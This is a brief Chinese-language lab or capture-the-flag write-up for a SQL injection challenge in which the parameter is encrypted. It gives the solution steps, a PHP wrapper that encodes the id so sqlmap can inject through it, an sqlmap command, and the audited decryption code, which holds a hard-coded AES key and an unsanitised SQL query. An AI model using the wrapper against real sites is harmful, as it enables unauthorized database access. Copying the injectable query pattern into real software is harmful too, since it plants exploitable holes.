SQL注入漏洞测试(参数加密)
解题思路:
进入界面>>>扫描后台目录>>>发现解密相关php文件>>>进行代码审计>>>推算出加密过程(略)>>>使用手工注入(略)>>>得到账户密码(MD5解密)>>>登陆后台>>>拿到key
得到代码后也可以使用sqlmap进行脚本自动注入
需要分局解密过程编写php加密过程
<?php
##加密过程
$id = base64_encode("id=".$_GET['id']);
echo file_get_contents("http://www.xxxx.com/index.php?{$id}");
?>
保存为1.php
sqlmap,py -u “http://127.0.0.1/1.php?id=12” -v3 --dbs
以上sqlmap脚本注入尚未证实
主要代码审计
<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); //打开加密算法和模块(算法名称、加密模块位置、加密模式CBC、加密模式的路径)
//mcrypt_module_open打开成功返回家密描述符 $td = 加密描述符
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); //初始加密(加密描述符,加密密码,偏移量)
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));//解密数据 data密文
mcrypt_generic_deinit($td);//结束加密,执行清理工作
mcrypt_module_close($td);//关闭加密模块
if(substr(trim($data),-6)!=='_mozhe'){ //判断后6个字符是否等于_mozhe
echo '<script>window.location.href="/index.php";</script>'; //不等于重定向页面
}else{
return substr(trim($data),0,strlen(trim($data))-6); //等于则回显数据
}
}
$id=decode($_GET['id']); //$_GET[]传递参数id
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>
视频链接
SQL注入漏洞测试(参数加密)